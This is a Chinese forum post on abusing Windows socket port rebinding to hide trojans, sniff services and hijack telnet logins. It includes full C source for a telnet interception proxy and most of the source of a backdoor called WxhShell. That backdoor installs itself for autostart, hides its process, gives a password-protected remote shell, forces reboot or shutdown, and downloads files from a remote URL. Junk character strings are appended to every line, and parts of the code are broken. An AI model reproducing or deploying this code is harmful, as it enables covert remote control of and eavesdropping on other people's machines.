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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xw`Pq6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BYRf MtT@+  
0DGXMO$;  
  saddr.sin_family = AF_INET; T$SGf.-  
}LOAT$]XI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?v6xa Vg:  
B%[Yu3gBo  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [/'W#x  
h/5.>[VwDh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f`T#=6C4|  
+dlN^P647  
  这意味着什么?意味着可以进行如下的攻击: |'.\}xt7  
rq>@ 0i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QO~!S_FRH  
h^cM#L^B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "1Vuf<?C  
g%Eb{~v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0ZTT^2R  
y%f'7YZ4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I t",WFE.  
af.yC[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 67 ^?v)|  
ym^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4/cUd=>Z  
6,| !zaeS  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yoQ}m/Cj  
&iez{[O  
  #include I vO#tI  
  #include Tw 8$6KUW  
  #include g6MK~JG$?h  
  #include    )ui]vS:>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   eqV;4dhm  
  int main() Y$ ZZ0m  
  { 4~4D1  
  WORD wVersionRequested; x= X"4Mj0)  
  DWORD ret; (/JiOg^cw  
  WSADATA wsaData; uS;N&6;:  
  BOOL val; M $ CnaH  
  SOCKADDR_IN saddr; F@UbUm2o  
  SOCKADDR_IN scaddr; jhg0H2C8  
  int err; #L ffmS  
  SOCKET s; IBZ_xU\2  
  SOCKET sc; ,:;ZzHzR0  
  int caddsize; ?`8jn$W^  
  HANDLE mt; f<?v.5($  
  DWORD tid;   MDAJ p>o  
  wVersionRequested = MAKEWORD( 2, 2 ); ;Lr]w8d  
  err = WSAStartup( wVersionRequested, &wsaData ); B^nE^"b  
  if ( err != 0 ) { *d b,N'rK  
  printf("error!WSAStartup failed!\n"); v;1<K@UT  
  return -1; h8'`g 0  
  } BS!VAHO"V  
  saddr.sin_family = AF_INET; \xR1|M  
   b*(74>XY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E+)3n[G  
n 'gU  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ir !/{IQx  
  saddr.sin_port = htons(23); p?PK8GL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~lib~Y'-  
  { bi~1d"j  
  printf("error!socket failed!\n"); }hRw{#*8  
  return -1; ozB2L\D7  
  } 9vZ:oO  
  val = TRUE; =# 0f4z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZMEU4?F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~>SqJ&-moo  
  { :Y>FuE  
  printf("error!setsockopt failed!\n"); hh#p=Y(f  
  return -1; 9X/]O<i,Es  
  } Kjzo>fIC{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n` M!K:Pq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UB^OMB-W.m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K,j'!VQA4g  
O3 NI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3127 4O  
  { A*^aBWFR  
  ret=GetLastError(); /F@CrNFb(  
  printf("error!bind failed!\n"); 4 '"C8vw.  
  return -1; (P'{A>aHl0  
  } bY&!d.  
  listen(s,2); 8n??/VDRl  
  while(1) A1g.ww:  
  { Nk2n&(~$  
  caddsize = sizeof(scaddr); [] cF*en  
  //接受连接请求 Nux  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]"ou?ot }  
  if(sc!=INVALID_SOCKET) s k_TKN`+  
  { y90wL U9f  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =hY9lxW  
  if(mt==NULL) *\gYs{,  
  { +cWo^d.  
  printf("Thread Creat Failed!\n"); g|TWoRx:  
  break; 3Zdwt\OQ  
  } QlE]OAdB42  
  } WIKSz {"=/  
  CloseHandle(mt); L _D#  
  } )5Wt(p:T6_  
  closesocket(s); &$yxAqdab  
  WSACleanup(); +9exap27  
  return 0; /#}o19(-d  
  }   {:] u 6l  
  DWORD WINAPI ClientThread(LPVOID lpParam) \Vb|bw'e(  
  { V9Pw\K!w#\  
  SOCKET ss = (SOCKET)lpParam; 2:oAS  
  SOCKET sc; y=!7PB_\|  
  unsigned char buf[4096]; X{Ij30Bmv  
  SOCKADDR_IN saddr; 0hg4y  
  long num; e1Q   
  DWORD val; %-fQ[@5  
  DWORD ret; swKqsN.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]$~\GE^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *Za'^Z2  
  saddr.sin_family = AF_INET; AcP d(Pc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P](/5KrK  
  saddr.sin_port = htons(23); 'D'H)J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "O~7s}  
  { H7FOf[3'  
  printf("error!socket failed!\n"); fU<_bg  
  return -1; 8'qq!WR~  
  } /Bq4! n+  
  val = 100; w"{mDL}c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AZ>F+@d  
  { S-5O$EnD  
  ret = GetLastError(); \AeM=K6q+D  
  return -1; Pj8W]SA_  
  } K2{6{X=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &yRR!1n)H  
  { w?V;ItcL  
  ret = GetLastError(); Fe1XczB  
  return -1; !?)aZ |r  
  } I;Pd}A_}=_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qh|fq b  
  { 6t=)1T  
  printf("error!socket connect failed!\n"); .WLwAL  
  closesocket(sc); u-M Td  
  closesocket(ss); #+&"m7 s  
  return -1; tH=jaFJ   
  } ZZ>F ^t  
  while(1) %6\L^RP  
  { 4&AGVplgF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 > -,$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +,]_TxL|C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 '""s%C+  
  num = recv(ss,buf,4096,0); .B?fG)'WsF  
  if(num>0) cHC1l  
  send(sc,buf,num,0); l6- n{zG  
  else if(num==0) 6zIK%<  
  break; W[f%m0  
  num = recv(sc,buf,4096,0); )>tT ""yEl  
  if(num>0) NvvD~B b  
  send(ss,buf,num,0); ;#L]7ZY9:-  
  else if(num==0) .Zc:$"gDu  
  break; <UY9<o  
  } 5(t hDZ!  
  closesocket(ss); 40aD\S>  
  closesocket(sc); (y s<{Y-;  
  return 0 ; F9k}zAY\J  
  } 4C[kj  
?$MO!  
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========================================================== 4-BrE&2f  
rgo!t028^  
下边附上一个代码,,WXhSHELL (%'`t(<  
P~84#5R1  
========================================================== z))rk vL%  
.qLX jU  
#include "stdafx.h" Bk] `n'W  
L|8&9F\  
#include <stdio.h> %%9T-+T  
#include <string.h> p7W9?b9  
#include <windows.h> 0ybMI+*  
#include <winsock2.h> BoXPX2:  
#include <winsvc.h> Ej $.x6:  
#include <urlmon.h> U8{^-#(Uz  
_hgGF9  
#pragma comment (lib, "Ws2_32.lib") ydMhb367|  
#pragma comment (lib, "urlmon.lib") f\FqZ?w  
0v#p4@Z  
#define MAX_USER   100 // 最大客户端连接数 O>>/2V9  
#define BUF_SOCK   200 // sock buffer !D!"ftOm  
#define KEY_BUFF   255 // 输入 buffer mA#;6?6  
cqaq~  
#define REBOOT     0   // 重启 OepQ Z|2  
#define SHUTDOWN   1   // 关机 Gzp*Vr  
v%kl*K`*  
#define DEF_PORT   5000 // 监听端口 }zIWagC6  
)Y`ybADd3  
#define REG_LEN     16   // 注册表键长度 Bjh8uW G  
#define SVC_LEN     80   // NT服务名长度 i|0!yID0@  
ju!V1ky  
// 从dll定义API G.r =fNP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 411z -aS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dkW7k^g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pgW^hj\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %jJIR88  
Q9c*I,O j  
// wxhshell配置信息 N/[!$B0H@  
struct WSCFG { 3vkzN  
  int ws_port;         // 监听端口 "MD 6<H  
  char ws_passstr[REG_LEN]; // 口令 A@;{ #.O  
  int ws_autoins;       // 安装标记, 1=yes 0=no e:K'e2  
  char ws_regname[REG_LEN]; // 注册表键名 0$i\/W+  
  char ws_svcname[REG_LEN]; // 服务名 xf?"Q#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]z]=?;ty%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \TLfLqA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t>Yl= 79,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ix38|G9U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qeC^e}h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oN)I3wO$  
RRro.r,  
}; G5lBCm   
,."wxP2u  
// default Wxhshell configuration RU~Pa+H  
struct WSCFG wscfg={DEF_PORT, $ nMx#~>a  
    "xuhuanlingzhe", 7q:;3;"9  
    1, >}/T&S  
    "Wxhshell", ?BbEQr  
    "Wxhshell", );?tGX  
            "WxhShell Service", L3\( <[  
    "Wrsky Windows CmdShell Service", I+`>e*:@W  
    "Please Input Your Password: ", P F);KQ  
  1, 2k m0  
  "http://www.wrsky.com/wxhshell.exe", TxH amI l  
  "Wxhshell.exe" og_ylCh:  
    }; BjHp3-A'  
8bf@<VTO_  
// 消息定义模块 E&Zt<pRf;2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fl4 0jo]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8@){\.M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [!Djs![O  
char *msg_ws_ext="\n\rExit."; '*EKi  
char *msg_ws_end="\n\rQuit."; [x- 9m\h  
char *msg_ws_boot="\n\rReboot..."; 1@}<CWE9  
char *msg_ws_poff="\n\rShutdown..."; ftQ;$@  
char *msg_ws_down="\n\rSave to "; HG)$ W  
'Hgk$Im+  
char *msg_ws_err="\n\rErr!"; /`t}5U>S_  
char *msg_ws_ok="\n\rOK!"; 0X$2~jV>  
a/3yn9`sQ  
char ExeFile[MAX_PATH]; ;Zc0imYL  
int nUser = 0; qxcTY|&  
HANDLE handles[MAX_USER]; N8,g~?r^  
int OsIsNt; "Z~@"JLb%  
t3*.Bm:^  
SERVICE_STATUS       serviceStatus; }2^qM^,0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W e*uZ?+  
%$bhg&}  
// 函数声明 NBAOVYK  
int Install(void); zn0%%x+!g  
int Uninstall(void); oTr,zRL  
int DownloadFile(char *sURL, SOCKET wsh); e.Q'l/g  
int Boot(int flag); %s;5  
void HideProc(void); s2F[v:|Wq  
int GetOsVer(void); /XNC^!z6Js  
int Wxhshell(SOCKET wsl); -S&d5(R  
void TalkWithClient(void *cs); tOZ-]>U  
int CmdShell(SOCKET sock); P)~olrf  
int StartFromService(void); sn Ou  
int StartWxhshell(LPSTR lpCmdLine); O&#>i]*V  
b?<@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f3s4aARP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jaIcIc=Pf  
aCi)icn$  
// 数据结构和表定义 mR|']^!SE  
SERVICE_TABLE_ENTRY DispatchTable[] = "*S_wN%  
{ e`+ej-o,  
{wscfg.ws_svcname, NTServiceMain}, `Gx 5=Bm;  
{NULL, NULL} |oQhtk8.  
}; m 0Uu2Z4  
p^Z|$aZZ  
// 自我安装 [.$/o}  
int Install(void) VMS3Q)Ul  
{ A;e"_$yt8  
  char svExeFile[MAX_PATH]; `=kiqF2P}  
  HKEY key; I]cZcx,<q  
  strcpy(svExeFile,ExeFile); l[<o t9P[  
l*Fp}d.  
// 如果是win9x系统,修改注册表设为自启动 rT[b ^l}  
if(!OsIsNt) { =B`=f,,#3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P057]cAat<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;y)3/46S  
  RegCloseKey(key); <-gGm=R_$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V0*MY{x#S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KI].T+I  
  RegCloseKey(key); !Q}Bz*Y  
  return 0; 3ly ]DTbz  
    } P%d3fFzK  
  } WDr=+=Zj  
} {cjp8W8hS  
else { ?B`c <H"  
.3wx}!:*|  
// 如果是NT以上系统,安装为系统服务 .3SP# mI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ! GtF%V  
if (schSCManager!=0) -I z,vd  
{ S2 P9C"  
  SC_HANDLE schService = CreateService LaL{ ^wP  
  ( '#yIcV$  
  schSCManager, aU#r`D@0  
  wscfg.ws_svcname, !, sQB_09C  
  wscfg.ws_svcdisp, %fXgV\xY  
  SERVICE_ALL_ACCESS, ,,g: x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VkId6k:>6C  
  SERVICE_AUTO_START, M"Z/E>ne  
  SERVICE_ERROR_NORMAL, g>a% gVly  
  svExeFile, _UbyhBl  
  NULL, DweF8c  
  NULL, UnyJD%a  
  NULL, TXbi>t:/S{  
  NULL, C?<[oQb#  
  NULL SP vKq=,  
  ); O7J V{'?  
  if (schService!=0) a4]=4[(iu>  
  { Y$fF"p G?  
  CloseServiceHandle(schService);  {+gK\Nz  
  CloseServiceHandle(schSCManager); )/z+W[t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l {\k\Q!4  
  strcat(svExeFile,wscfg.ws_svcname); <! *O[0s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @mcP-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =`!# V/=  
  RegCloseKey(key); \SWuylE  
  return 0; ZfS"  
    } Y+EwBg)co  
  } 3qDuF  
  CloseServiceHandle(schSCManager); R0nUS<b0  
} qg*xdefQ%  
} \=(U tro  
bE jQMlb  
return 1; bOr6"nn  
} hy3?.  
I@1VX5  
// 自我卸载 :Yi 4Ia  
int Uninstall(void) "msPH<D  
{ ir_X65l/2  
  HKEY key; Xa$tW%)  
/~g.j1g  
if(!OsIsNt) { d:h X3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A8ClkLC;I  
  RegDeleteValue(key,wscfg.ws_regname); #-PUm0|  
  RegCloseKey(key); 7+$P6[*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n]K{-C;  
  RegDeleteValue(key,wscfg.ws_regname); +1eb@b X  
  RegCloseKey(key); wFJ*2W:  
  return 0; ZCDXy  
  } Fl\kt.G  
} cdg &)  
} b\xse2#  
else { b^<7@tY  
Qqp=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Nu><r  
if (schSCManager!=0) )r XUJ29.  
{ F[X;A\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ALKzR433/  
  if (schService!=0)  >6'brb  
  { zKf0 :X  
  if(DeleteService(schService)!=0) { zH *7!)8  
  CloseServiceHandle(schService); 0}\8,U  
  CloseServiceHandle(schSCManager); k[1w] l8  
  return 0; {dvsZJj  
  } .Txwp?};  
  CloseServiceHandle(schService); eM^Y  
  } "gXvnl  
  CloseServiceHandle(schSCManager); #aadnbf  
} *#B"%;Ln  
} V|;os  
D ~NWP%H  
return 1; ASr3P5/  
} .b<wNUzP  
l R^W*w4y  
// 从指定url下载文件 zzX9Q:  
int DownloadFile(char *sURL, SOCKET wsh) QhPpo#^  
{ :Lq=)'d;6  
  HRESULT hr; (U*Zz+ R   
char seps[]= "/"; (=tu~ ^  
char *token; 8qs8QK  
char *file; rU7t~DKS  
char myURL[MAX_PATH]; 9|>5;Ej  
char myFILE[MAX_PATH]; T{Yk/Z/}?  
*35o$P46  
strcpy(myURL,sURL); wtfM }MW\  
  token=strtok(myURL,seps); D!bi>]Yd  
  while(token!=NULL) <-!' V,c  
  { )umW-A  
    file=token; h6e,w$IL  
  token=strtok(NULL,seps); -raZ6?Zjc  
  } 5:l"*  
dg;E,'e_ p  
GetCurrentDirectory(MAX_PATH,myFILE); P~@I`r567  
strcat(myFILE, "\\"); 'WoB\y569  
strcat(myFILE, file); P1"g62R  
  send(wsh,myFILE,strlen(myFILE),0); 9~}8?kPNw=  
send(wsh,"...",3,0); /O$)m[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SqT+rvTh  
  if(hr==S_OK) fXAD~7T*s  
return 0; HjX)5@"o(  
else o%v,6yv  
return 1; `R o>?H  
Z DnAzAR  
} 5K|s]Y;  
`,6^eLU  
// 系统电源模块 )h;zH,DA[3  
int Boot(int flag) &0J/V>k  
{ 6X$iTJ[\x  
  HANDLE hToken; fU4{4M+9"  
  TOKEN_PRIVILEGES tkp; '59l.  
liVDBbS_A?  
  if(OsIsNt) { l78 :.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A Zv| |8p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "C9.pdP\8  
    tkp.PrivilegeCount = 1; @%#!-wC-5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yx/qp<=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^4>Icz^ F  
if(flag==REBOOT) { \J^xpR_0u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V;]U]   
  return 0; t($z+ C<  
} 6bt{j   
else { 9;EY3[N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  SwmX_F#_  
  return 0; R]_fe4Y0  
} hFt~7R  
  } 2pAshw1G  
  else { QEl~uhc3  
if(flag==REBOOT) { (OHd} YQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n`7n5M*  
  return 0; ,NQ>,}a0  
} x:IY6  l  
else { ZQrgYeQl"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~8G cWy6  
  return 0; OGU#%5"<  
} lV2MRxI  
} )1]LoEdm`  
h3kBNBI )  
return 1; =|bW >y  
} eR5+1b  
nB86oQ/S  
// win9x进程隐藏模块 1V1T1  
void HideProc(void) 74*iF'f?c  
{ Gh9dv|m=[;  
*wfkjG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ak;S Ie  
  if ( hKernel != NULL ) .;~K*GC  
  { |)u|@\{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]ch=D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W[j7Vi8v  
    FreeLibrary(hKernel); XY`2>7  
  } @7<m.?A!  
>eaK@u-'0  
return; JZrUl^8E  
} v4wXa:CJ  
N_>}UhZ  
// 获取操作系统版本 1oIu~f{`  
int GetOsVer(void) wenJ(0L|  
{ M;qV% k  
  OSVERSIONINFO winfo; (3Z~EIZz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); We*c_;@<  
  GetVersionEx(&winfo); Q Ph6 p3bg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MBH/,Yd  
  return 1; &b&o];a  
  else $~*d.  
  return 0; L\asrdL?=  
} "n=Ih_J  
q CB9z  
// 客户端句柄模块 mPo].z  
int Wxhshell(SOCKET wsl) -2Azpeh  
{ gedk  
  SOCKET wsh; %epK-q9[  
  struct sockaddr_in client; ZI#Xh5  
  DWORD myID; $U/_8^6B0  
 !#8=tO  
  while(nUser<MAX_USER) 4Vi&Y')f  
{ A'X, zw^}  
  int nSize=sizeof(client); n;Etn!4M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cZXra(AD  
  if(wsh==INVALID_SOCKET) return 1; !4G<&hvb  
H=k*;'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v;@-bED(Qs  
if(handles[nUser]==0) `+0)dTA(g$  
  closesocket(wsh); ;F<)BEXC<  
else h8_~ OX  
  nUser++; ' ! ls"qo  
  } rfNt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gJ>HFid_C  
k|}S K9  
  return 0; "A?_)=zZ  
} '%"#]  
p,w6D,h  
// 关闭 socket >h m<$3  
void CloseIt(SOCKET wsh) wc'K=;c  
{ lCyp&b#(L  
closesocket(wsh); \W6 |un  
nUser--; "i_}\p.,X  
ExitThread(0); s~6irf/  
} 5K*-)F ]  
wfrWpz=FO  
// 客户端请求句柄 -m~[z  
void TalkWithClient(void *cs) e?D,=A4mV"  
{ %C[ ;&  
&j7l#Urq  
  SOCKET wsh=(SOCKET)cs; ai ,Mez  
  char pwd[SVC_LEN]; Zb7:qe<UN  
  char cmd[KEY_BUFF]; =JnUTc _u  
char chr[1]; ico(4KSk  
int i,j; xQhvs=Zm]  
'HV}Tr  
  while (nUser < MAX_USER) { PF(P"f.?D  
o^! Zt 9  
if(wscfg.ws_passstr) { =>CrZ23B "  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1dK^[;v>3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /vB%gqJvX  
  //ZeroMemory(pwd,KEY_BUFF); $V8B =k~  
      i=0; HiG&`:P>q  
  while(i<SVC_LEN) { R%Yws2Le2  
:q4 Mnr  
  // 设置超时 ;G3{ e  
  fd_set FdRead; `v)-v<  
  struct timeval TimeOut; J)n g,i  
  FD_ZERO(&FdRead); a|\_'#  
  FD_SET(wsh,&FdRead); .j4IW 3)  
  TimeOut.tv_sec=8; O,[aL;v  
  TimeOut.tv_usec=0; dR_hPBn/@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w`VmN}pR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y o[!q|z  
|[TH ~ o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sh?Dxodp9  
  pwd=chr[0]; N3H!ptn37  
  if(chr[0]==0xd || chr[0]==0xa) { >}/"g x  
  pwd=0; +* )Qi)  
  break; 8X]j;Rb  
  } z@ A5t4+3  
  i++; 1W HR;!u  
    } ? F f w'O  
H2RNekck  
  // 如果是非法用户,关闭 socket ,Fg&<Be}Jx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0r=Lilu{q  
} s/Wg^(&M  
r/L3j0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DRV vW6s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (.!q~G  
N1(}3O  
while(1) { SJ7>*Sa(u$  
j &Ayk*  
  ZeroMemory(cmd,KEY_BUFF); u6jJf@!ws  
(s{%XB:K  
      // 自动支持客户端 telnet标准   Af0E_  
  j=0; 0tB9X9:,  
  while(j<KEY_BUFF) { Zk}e?Grc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?#D@e5Wf  
  cmd[j]=chr[0]; Z#;ieI\  
  if(chr[0]==0xa || chr[0]==0xd) { e= "/oo  
  cmd[j]=0; =W !m`  
  break; lLtC9:  
  } ^O\tN\g;c  
  j++; \{+7`4g  
    } m$hSL4 N  
O,JthlAV4  
  // 下载文件 =OO_TPEZ  
  if(strstr(cmd,"http://")) { uD:O[H-x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r:Cad0xj;^  
  if(DownloadFile(cmd,wsh)) Q:VD 2<2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,bmTB ZV  
  else 9LJ/m\bi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nhXa&Nro  
  } rmQGzQnun  
  else { /yrR f;}<O  
<k^9l6@  
    switch(cmd[0]) { WM=kr$/3  
  >o>'@)I?e6  
  // 帮助 -07(#>  
  case '?': { B{1+0k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6x/ X8zu  
    break; 9f,HjRP  
  } E4y"$U%.  
  // 安装 ! 2Y, a  
  case 'i': {  |Be.r{l  
    if(Install()) -R7f/a8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R?|_` @@A  
    else [EGE|   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $X*$,CCIB  
    break; //Tr=!TQu  
    } Bdbw!zRR$  
  // 卸载 JBUJc  
  case 'r': { " 31C8  
    if(Uninstall()) 9CBB,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FT (EH  
    else [V jd )%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y'yaCf  
    break; 7 cIVK}&  
    } ^2^ptQj  
  // 显示 wxhshell 所在路径 q9WSQ$:z8  
  case 'p': { l3iL.?&Pa  
    char svExeFile[MAX_PATH]; 053W2Si   
    strcpy(svExeFile,"\n\r"); H#Og0gEE}5  
      strcat(svExeFile,ExeFile); V">Uh@[J_  
        send(wsh,svExeFile,strlen(svExeFile),0); `XWxC:j3%  
    break; eIqj7UY_  
    } DD3J2J  
  // 重启 w@%W{aUC  
  case 'b': { KP<J~+_ik  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ":-)mfgGU  
    if(Boot(REBOOT)) qo. 6T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p-(Z[G*  
    else { /{kyjf[o&*  
    closesocket(wsh); *=|i"  
    ExitThread(0); [?IERE!xQ  
    } dNJK[1e6  
    break; %74 Ms  
    } 2Vu|uZd  
  // 关机 ]7u8m[@  
  case 'd': { .ySesN: C~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bgs~1E@8V  
